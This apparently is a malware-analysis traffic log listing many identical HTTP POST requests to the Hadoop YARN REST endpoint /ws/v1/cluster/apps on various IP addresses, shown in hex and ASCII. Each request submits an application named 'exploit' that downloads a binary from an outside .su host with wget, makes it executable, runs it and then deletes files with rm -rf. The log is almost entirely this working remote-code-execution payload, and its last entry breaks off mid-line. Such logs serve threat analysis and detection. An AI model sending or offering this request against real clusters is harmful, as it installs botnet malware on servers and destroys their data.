Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 78.220.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 78.220.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 78.220.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 52.160.110.126:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 138.85.232.54:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 78.220.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 82.207.23.152:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 100.179.115.147:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 103.108.227.184:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 244.58.211.204:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 244.58.211.204:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 99.17.152.234:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 199.119.126.228:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 123.191.93.71:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.41.12.18:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 213.49.53.56:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 91.185.226.47:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 187.125.238.133:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 33.247.222.246:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 182.203.244.103:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 